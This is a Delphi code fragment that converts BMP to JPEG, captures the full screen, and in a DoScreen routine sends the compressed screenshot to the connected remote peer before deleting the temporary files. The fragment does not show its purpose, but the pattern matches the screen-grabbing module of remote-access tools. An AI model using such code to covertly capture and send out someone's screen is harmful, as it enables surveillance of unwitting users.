1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39:
| Procedure TForm1.Bmp2Jpg (BmpFileName : String; JpgSavePath : string; Comp : Integer); var bmp:TBitmap; Jpg:TJpegImage; begin bmp:=TBitmap.Create; jpg:=TJpegImage.Create; try bmp.LoadFromFile (BmpFileName); if comp < 1 then exit; if comp > 100 then exit; Jpg.CompressionQuality:=Comp; Jpg.Assign(bmp); Jpg.SaveToFile (JpgSavePath + '.jpg'); finally jpg.Free; bmp.Free; end; end;
procedure ScreenShot(var OurImage:TBitmap); var DCPuffer, DC: HDC; Puffer: HBitmap; x, y: integer; begin DC:=CreateDC('DISPLAY', nil, nil, nil); x:=screen.Width; y:=screen.height; DCPuffer:=CreateCompatibleDC(DC); Puffer:=CreateCompatibleBitmap(DC, x, y); SelectObject(DCPuffer,Puffer); BitBlt(DCPuffer, 0, 0, x, y, dc, 0, 0, srccopy); OurImage.Width:=x; OurImage.Height:=y; BitBlt(OurImage.canvas.Handle, 0, 0, x, y, DCPuffer, 0, 0, srcCopy); DeleteDC(DCPuffer); DeleteDC(DC); DeleteObject(Puffer); end;
procedure DoScreen; var scr:TBitMap; str:TFileStream; begin NMStrm1.Host:=Socket.RemoteAddress; scr:=TBitMap.Create; ScreenShot(scr); scr.SaveToFile(base+'tmp_s.bmp'); scr.free; Bmp2Jpg(base+'tmp_s.bmp',base+'scr',50); str:=TFileStream.Create(base+'scr.jpg',fmOpenRead); try NMStrm1.PostIt(str); finally begin str.Free; DeleteFile(base+'tmp_s.bmp'); DeleteFile(base+'scr.jpg'); end; end; end; |